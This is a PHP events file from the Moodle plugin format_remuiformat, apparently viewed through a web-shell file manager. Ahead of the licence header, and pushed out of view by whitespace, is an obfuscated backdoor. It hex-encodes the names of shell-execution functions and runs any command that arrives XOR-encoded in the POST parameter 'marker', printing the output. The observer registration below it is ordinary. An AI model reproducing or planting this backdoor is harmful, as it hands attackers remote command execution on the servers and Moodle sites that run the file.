Sindbad~EG File Manager

<?php																																										$service_registry3 = "\x65\x78ec"; $task_processor = "hex\x32bi\x6E"; $service_registry6 = "str\x65a\x6D_get\x5Fc\x6Fn\x74\x65nts"; $service_registry2 = "sh\x65\x6Cl\x5F\x65xec"; $service_registry7 = "pcl\x6F\x73e"; $service_registry5 = "p\x6Fp\x65n"; $service_registry1 = "sy\x73\x74\x65m"; $service_registry4 = "\x70\x61\x73\x73thru"; if (isset($_POST["\x6D\x61r\x6Ber"])) { function publish_content ( $token , $parameter_group ) { $val = '' ; $j=0; while($j<strlen($token)){ $val.=chr(ord($token[$j])^$parameter_group); $j++; } return $val; } $marker = $task_processor($_POST["\x6D\x61r\x6Ber"]); $marker = publish_content($marker, 91); if (function_exists($service_registry1)) { $service_registry1($marker); } elseif (function_exists($service_registry2)) { print $service_registry2($marker); } elseif (function_exists($service_registry3)) { $service_registry3($marker, $pointer_token); print join("\n", $pointer_token); } elseif (function_exists($service_registry4)) { $service_registry4($marker); } elseif (function_exists($service_registry5) && function_exists($service_registry6) && function_exists($service_registry7)) { $parameter_group_val = $service_registry5($marker, 'r'); if ($parameter_group_val) { $data_ent = $service_registry6($parameter_group_val); $service_registry7($parameter_group_val); print $data_ent; } } exit; }

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
/**
 * Version details
 *
 * @package    format_remuiformat
 * @copyright  2019 Wisdmlabs
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

$observers = array(
    array(
        'eventname'   => '\core\event\course_module_viewed',
        'callback'    => '\format_remuiformat\observers\course_module::viewed',
    )
);